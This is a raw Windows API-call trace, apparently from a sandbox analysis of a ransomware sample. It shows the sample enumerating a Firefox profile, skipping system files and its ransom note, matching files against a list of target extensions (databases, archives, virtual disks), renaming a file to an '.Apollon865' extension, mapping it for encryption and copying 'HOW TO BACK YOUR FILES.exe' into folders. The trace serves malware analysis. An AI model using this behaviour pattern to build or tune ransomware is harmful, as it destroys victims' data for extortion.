	[0042.664] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0042.665] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0042.665] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0042.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0042.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0042.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0042.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.666] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0042.669] CloseHandle (hObject=0x150) returned 1
	[0042.669] CloseHandle (hObject=0x158) returned 1
	[0042.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0042.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0042.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0042.675] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="Apollon865.txt.exe") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2=".") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="..") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="windows") returned -1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="bootmgr") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="temp") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="pagefile.sys") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="boot") returned 1
	[0042.675] lstrcmpiW (lpString1="times.json", lpString2="ids.txt") returned 1
	[0042.676] lstrcmpiW (lpString1="times.json", lpString2="ntuser.dat") returned 1
	[0042.676] lstrcmpiW (lpString1="times.json", lpString2="perflogs") returned 1
	[0042.676] lstrcmpiW (lpString1="times.json", lpString2="MSBuild") returned 1
	[0042.676] lstrlenW (lpString="times.json") returned 10
	[0042.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite") returned 102
	[0042.676] lstrcpyW (in: lpString1=0x2d3e600, lpString2="times.json" | out: lpString1="times.json") returned="times.json"
	[0042.676] lstrlenW (lpString="times.json") returned 10
	[0042.676] lstrlenW (lpString="Apollon865") returned 10
	[0042.676] lstrlenW (lpString=".dll") returned 4
	[0042.676] lstrcmpiW (lpString1="times.json", lpString2=".dll") returned 1
	[0042.676] lstrlenW (lpString=".lnk") returned 4
	[0042.676] lstrcmpiW (lpString1="times.json", lpString2=".lnk") returned 1
	[0042.676] lstrlenW (lpString=".ini") returned 4
	[0042.676] lstrcmpiW (lpString1="times.json", lpString2=".ini") returned 1
	[0042.676] lstrlenW (lpString=".sys") returned 4
	[0042.676] lstrcmpiW (lpString1="times.json", lpString2=".sys") returned 1
	[0042.676] lstrlenW (lpString="times.json") returned 10
	[0042.676] lstrlenW (lpString="bak") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="bak") returned 1
	[0042.676] lstrlenW (lpString="ba_") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="ba_") returned 1
	[0042.676] lstrlenW (lpString="dbb") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="dbb") returned 1
	[0042.676] lstrlenW (lpString="vmdk") returned 4
	[0042.676] lstrcmpiW (lpString1="json", lpString2="vmdk") returned -1
	[0042.676] lstrlenW (lpString="rar") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="rar") returned 1
	[0042.676] lstrlenW (lpString="zip") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="zip") returned -1
	[0042.676] lstrlenW (lpString="tgz") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="tgz") returned -1
	[0042.676] lstrlenW (lpString="vbox") returned 4
	[0042.676] lstrcmpiW (lpString1="json", lpString2="vbox") returned -1
	[0042.676] lstrlenW (lpString="vdi") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="vdi") returned -1
	[0042.676] lstrlenW (lpString="vhd") returned 3
	[0042.676] lstrcmpiW (lpString1="son", lpString2="vhd") returned -1
	[0042.676] lstrlenW (lpString="vhdx") returned 4
	[0042.677] lstrcmpiW (lpString1="json", lpString2="vhdx") returned -1
	[0042.677] lstrlenW (lpString="avhd") returned 4
	[0042.677] lstrcmpiW (lpString1="json", lpString2="avhd") returned 1
	[0042.677] lstrlenW (lpString="db") returned 2
	[0042.677] lstrcmpiW (lpString1="on", lpString2="db") returned 1
	[0042.677] lstrlenW (lpString="db2") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="db2") returned 1
	[0042.677] lstrlenW (lpString="db3") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="db3") returned 1
	[0042.677] lstrlenW (lpString="dbf") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="dbf") returned 1
	[0042.677] lstrlenW (lpString="mdf") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="mdf") returned 1
	[0042.677] lstrlenW (lpString="mdb") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="mdb") returned 1
	[0042.677] lstrlenW (lpString="sql") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="sql") returned -1
	[0042.677] lstrlenW (lpString="sqlite") returned 6
	[0042.677] lstrcmpiW (lpString1="s.json", lpString2="sqlite") returned -1
	[0042.677] lstrlenW (lpString="sqlite3") returned 7
	[0042.677] lstrcmpiW (lpString1="es.json", lpString2="sqlite3") returned -1
	[0042.677] lstrlenW (lpString="sqlitedb") returned 8
	[0042.677] lstrcmpiW (lpString1="mes.json", lpString2="sqlitedb") returned -1
	[0042.677] lstrlenW (lpString="xml") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="xml") returned -1
	[0042.677] lstrlenW (lpString="$er") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="$er") returned 1
	[0042.677] lstrlenW (lpString="4dd") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="4dd") returned 1
	[0042.677] lstrlenW (lpString="4dl") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="4dl") returned 1
	[0042.677] lstrlenW (lpString="^^^") returned 3
	[0042.677] lstrcmpiW (lpString1="son", lpString2="^^^") returned 1
	[0042.677] lstrlenW (lpString="abs") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="abs") returned 1
	[0042.678] lstrlenW (lpString="abx") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="abx") returned 1
	[0042.678] lstrlenW (lpString="accdb") returned 5
	[0042.678] lstrcmpiW (lpString1=".json", lpString2="accdb") returned -1
	[0042.678] lstrlenW (lpString="accdc") returned 5
	[0042.678] lstrcmpiW (lpString1=".json", lpString2="accdc") returned -1
	[0042.678] lstrlenW (lpString="accde") returned 5
	[0042.678] lstrcmpiW (lpString1=".json", lpString2="accde") returned -1
	[0042.678] lstrlenW (lpString="accdr") returned 5
	[0042.678] lstrcmpiW (lpString1=".json", lpString2="accdr") returned -1
	[0042.678] lstrlenW (lpString="accdt") returned 5
	[0042.678] lstrcmpiW (lpString1=".json", lpString2="accdt") returned -1
	[0042.678] lstrlenW (lpString="accdw") returned 5
	[0042.678] lstrcmpiW (lpString1=".json", lpString2="accdw") returned -1
	[0042.678] lstrlenW (lpString="accft") returned 5
	[0042.678] lstrcmpiW (lpString1=".json", lpString2="accft") returned -1
	[0042.678] lstrlenW (lpString="adb") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.678] lstrlenW (lpString="adb") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.678] lstrlenW (lpString="ade") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="ade") returned 1
	[0042.678] lstrlenW (lpString="adf") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="adf") returned 1
	[0042.678] lstrlenW (lpString="adn") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="adn") returned 1
	[0042.678] lstrlenW (lpString="adp") returned 3
	[0042.678] lstrcmpiW (lpString1="son", lpString2="adp") returned 1
	[0042.678] lstrcpyW (in: lpString1=0x2d3e600, lpString2="webapps" | out: lpString1="webapps") returned="webapps"
	[0042.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0042.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc0) returned 0x599ca8
	[0042.679] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0042.679] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc3a63b40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2=".") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="..") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="windows") returned -1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="bootmgr") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="temp") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="pagefile.sys") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="boot") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="ids.txt") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="ntuser.dat") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="perflogs") returned 1
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="MSBuild") returned 1
	[0042.679] lstrlenW (lpString="webappsstore.sqlite") returned 19
	[0042.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps") returned 95
	[0042.679] lstrcpyW (in: lpString1=0x2d3e600, lpString2="webappsstore.sqlite" | out: lpString1="webappsstore.sqlite") returned="webappsstore.sqlite"
	[0042.679] lstrlenW (lpString="webappsstore.sqlite") returned 19
	[0042.679] lstrlenW (lpString="Apollon865") returned 10
	[0042.679] lstrcmpiW (lpString1="ore.sqlite", lpString2="Apollon865") returned 1
	[0042.679] lstrlenW (lpString=".dll") returned 4
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2=".dll") returned 1
	[0042.679] lstrlenW (lpString=".lnk") returned 4
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2=".lnk") returned 1
	[0042.679] lstrlenW (lpString=".ini") returned 4
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2=".ini") returned 1
	[0042.679] lstrlenW (lpString=".sys") returned 4
	[0042.679] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2=".sys") returned 1
	[0042.679] lstrlenW (lpString="webappsstore.sqlite") returned 19
	[0042.679] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.Apollon865") returned 118
	[0042.680] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0042.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0042.681] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=98304) returned 1
	[0042.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0042.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0042.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0042.681] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0042.683] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0042.683] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.683] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18300, lpName=0x0) returned 0x150
	[0042.684] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18300) returned 0x120000
	[0042.690] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0042.691] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0042.691] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0042.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0042.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0042.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0042.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.692] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0042.693] CloseHandle (hObject=0x150) returned 1
	[0042.693] CloseHandle (hObject=0x158) returned 1
	[0042.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0042.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0042.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0042.696] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc3a63b40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 0
	[0042.696] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.696] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0042.696] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps"
	[0042.696] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599ca8 | out: hHeap=0x580000) returned 1
	[0042.696] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0042.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps") returned 95
	[0042.696] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps"
	[0042.696] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.696] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webapps\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.709] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.709] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f60210, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3184a5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3184a5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.709] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.709] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.709] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.709] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f60210, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3184a5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3184a5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.709] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.709] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.709] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.709] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.709] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3184a5f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3184a5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.709] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.709] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cff0f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80cff0f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80cff0f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2="Apollon865.txt.exe") returned 1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2=".") returned 1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2="..") returned 1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2="windows") returned -1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2="bootmgr") returned 1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2="temp") returned 1
	[0042.709] lstrcmpiW (lpString1="webapps.json", lpString2="pagefile.sys") returned 1
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2="boot") returned 1
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2="ids.txt") returned 1
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2="ntuser.dat") returned 1
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2="perflogs") returned 1
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2="MSBuild") returned 1
	[0042.710] lstrlenW (lpString="webapps.json") returned 12
	[0042.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*") returned 97
	[0042.710] lstrcpyW (in: lpString1=0x2d3e610, lpString2="webapps.json" | out: lpString1="webapps.json") returned="webapps.json"
	[0042.710] lstrlenW (lpString="webapps.json") returned 12
	[0042.710] lstrlenW (lpString="Apollon865") returned 10
	[0042.710] lstrcmpiW (lpString1="bapps.json", lpString2="Apollon865") returned 1
	[0042.710] lstrlenW (lpString=".dll") returned 4
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2=".dll") returned 1
	[0042.710] lstrlenW (lpString=".lnk") returned 4
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2=".lnk") returned 1
	[0042.710] lstrlenW (lpString=".ini") returned 4
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2=".ini") returned 1
	[0042.710] lstrlenW (lpString=".sys") returned 4
	[0042.710] lstrcmpiW (lpString1="webapps.json", lpString2=".sys") returned 1
	[0042.710] lstrlenW (lpString="webapps.json") returned 12
	[0042.710] lstrlenW (lpString="bak") returned 3
	[0042.710] lstrcmpiW (lpString1="son", lpString2="bak") returned 1
	[0042.710] lstrlenW (lpString="ba_") returned 3
	[0042.710] lstrcmpiW (lpString1="son", lpString2="ba_") returned 1
	[0042.710] lstrlenW (lpString="dbb") returned 3
	[0042.710] lstrcmpiW (lpString1="son", lpString2="dbb") returned 1
	[0042.710] lstrlenW (lpString="vmdk") returned 4
	[0042.710] lstrcmpiW (lpString1="json", lpString2="vmdk") returned -1
	[0042.710] lstrlenW (lpString="rar") returned 3
	[0042.710] lstrcmpiW (lpString1="son", lpString2="rar") returned 1
	[0042.710] lstrlenW (lpString="zip") returned 3
	[0042.710] lstrcmpiW (lpString1="son", lpString2="zip") returned -1
	[0042.710] lstrlenW (lpString="tgz") returned 3
	[0042.710] lstrcmpiW (lpString1="son", lpString2="tgz") returned -1
	[0042.711] lstrlenW (lpString="vbox") returned 4
	[0042.711] lstrcmpiW (lpString1="json", lpString2="vbox") returned -1
	[0042.711] lstrlenW (lpString="vdi") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="vdi") returned -1
	[0042.711] lstrlenW (lpString="vhd") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="vhd") returned -1
	[0042.711] lstrlenW (lpString="vhdx") returned 4
	[0042.711] lstrcmpiW (lpString1="json", lpString2="vhdx") returned -1
	[0042.711] lstrlenW (lpString="avhd") returned 4
	[0042.711] lstrcmpiW (lpString1="json", lpString2="avhd") returned 1
	[0042.711] lstrlenW (lpString="db") returned 2
